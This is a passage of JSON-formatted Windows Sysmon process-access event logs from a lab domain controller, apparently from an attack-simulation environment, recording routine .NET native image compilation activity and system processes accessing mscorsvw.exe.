TEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:48","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:47","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7030,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:47.932\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4876\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-42AB-5F2D-0000-00108C920B00}\r\nTargetProcessId: 2816\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:47.932","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4876","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-42AB-5F2D-0000-00108C920B00}","TargetProcessId":"2816","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:48","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:47","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7031,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:47.932\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 660\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-42AB-5F2D-0000-00108C920B00}\r\nTargetProcessId: 2816\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:47.932","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"660","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-42AB-5F2D-0000-00108C920B00}","TargetProcessId":"2816","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:01:48","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:47","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7032,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:47.932\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-42AB-5F2D-0000-00108C920B00}\r\nTargetProcessId: 2816\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:47.932","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-42AB-5F2D-0000-00108C920B00}","TargetProcessId":"2816","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:48","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:47","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7033,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:47.979\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4876\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-42AB-5F2D-0000-001024960B00}\r\nTargetProcessId: 4896\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:47.979","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4876","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-42AB-5F2D-0000-001024960B00}","TargetProcessId":"4896","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:48","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:47","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7034,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:47.979\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 660\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-42AB-5F2D-0000-001024960B00}\r\nTargetProcessId: 4896\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:47.979","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"660","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-42AB-5F2D-0000-001024960B00}","TargetProcessId":"4896","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:01:48","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:48","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7035,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:47.997\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-42AB-5F2D-0000-001024960B00}\r\nTargetProcessId: 4896\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:47.997","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-42AB-5F2D-0000-001024960B00}","TargetProcessId":"4896","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:48","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:48","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7036,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:48.057\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4876\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-429B-5F2D-0000-001066F30A00}\r\nTargetProcessId: 4740\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:48.057","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4876","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-429B-5F2D-0000-001066F30A00}","TargetProcessId":"4740","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:48","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:48","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7037,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:48.057\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 1148\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-429B-5F2D-0000-001066F30A00}\r\nTargetProcessId: 4740\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: 